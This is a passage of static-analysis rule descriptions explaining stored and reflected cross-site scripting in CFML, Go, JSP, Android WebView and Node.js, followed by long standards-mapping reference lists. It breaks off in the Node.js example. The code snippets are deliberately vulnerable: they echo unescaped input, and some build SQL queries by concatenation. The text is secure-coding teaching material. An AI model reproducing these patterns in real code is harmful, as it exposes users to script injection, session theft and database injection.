The code in this example functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. This code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

Example 2: The following CFML code segment reads an employee ID, eid, from a web form and displays it to the user.


<cfoutput>
Employee ID: #Form.eid#
</cfoutput>


As in Example 1, this code operates correctly if Form.eid contains only standard alphanumeric text. If Form.eid has a value that includes metacharacters or source code, then the code will be executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- As in Example 2, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] ColdFusion Developer Center: Security Macromedia
[4] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.cfml.cross_site_scripting_persistent
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.

2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.


Example 1: The following Go code segment reads a user name, user, from an HTTP request and displays it to the user.

func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
user := r.FormValue("user")
...
fmt.Fprintln(w, "Username is: ", user)
}


The code in this example operates correctly if user contains only standard alphanumeric text. If user has a value that includes metacharacters or source code, then the code will be executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 2: The following Go code segment queries a database for an employee with a given ID and prints the corresponding employee's name.

func someHandler(w http.ResponseWriter, r *http.Request){
...
row := db.QueryRow("SELECT name FROM users WHERE id =" + userid)
err := row.Scan(&name)
...
fmt.Fprintln(w, "Username is: ", name)
}


As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack affects multiple users. XSS began in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As shown in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As shown in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker can perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.golang.cross_site_scripting_persistent
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of persistent (also known as stored) XSS, the untrusted source is typically a database or other back-end data store, while in the case of reflected XSS it is typically a web request.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.


<%...
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
}
%>

Employee Name: <%= name %>


This code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. This code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

Example 2: The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.


<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>


As in Example 1, this code operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code is executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Some think that in the mobile environment, classic web application vulnerabilities, such as cross-site scripting, do not make sense -- why would the user attack themself? However, keep in mind that the essence of mobile platforms is applications that are downloaded from various sources and run alongside each other on the same device. The likelihood of running a piece of malware next to a banking application is high, which necessitates expanding the attack surface of mobile applications to include inter-process communication.

Example 3: The following code enables JavaScript in Android's WebView (by default, JavaScript is disabled) and loads a page based on the value received from an Android intent.


...
WebView webview = (WebView) findViewById(R.id.webview);
webview.getSettings().setJavaScriptEnabled(true);
String url = this.getIntent().getExtras().getString("url");
webview.loadUrl(url);
...


If the value of url starts with javascript:, JavaScript code that follows executes within the context of the web page inside WebView.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- As in Example 2, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 3, a source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.

A number of modern web frameworks provide mechanisms to perform user input validation (including Struts and Struts 2). To highlight the unvalidated sources of input, Fortify Secure Coding Rulepacks dynamically re-prioritize the issues Fortify Static Code Analyzer reports by lowering their probability of exploit and providing pointers to the supporting evidence whenever the framework validation mechanism is in use. We refer to this feature as Context-Sensitive Ranking. To further assist the Fortify user with the auditing process, the Fortify Software Security Research group makes available the Data Validation project template that groups the issues into folders based on the validation mechanism applied to their source of input.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Tongbo Luo, Hao Hao, Wenliang Du, Yifei Wang, and Heng Yin Attacks on WebView in the Android System
[4] Erika Chin and David Wagner Bifocals: Analyzing WebView Vulnerabilities in Android Applications
[5] INJECT-3: XML and HTML generation requires care Oracle
[6] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[7] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[11] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[12] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[14] Standards Mapping - FIPS200 SI
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[18] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[19] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[20] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[21] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[22] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[26] Standards Mapping - OWASP Top 10 2021 A03 Injection
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[38] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[39] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[40] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[41] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[42] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[64] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[65] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.java.cross_site_scripting_persistent
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of persistent (also known as stored) XSS, the untrusted source is typically a database or other back-end data store, while in the case of reflected XSS it is typically a web request.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following Node.js code segment queries a database for an employee with a given ID and prints the corresponding employee's name.


var http = require('http');
...

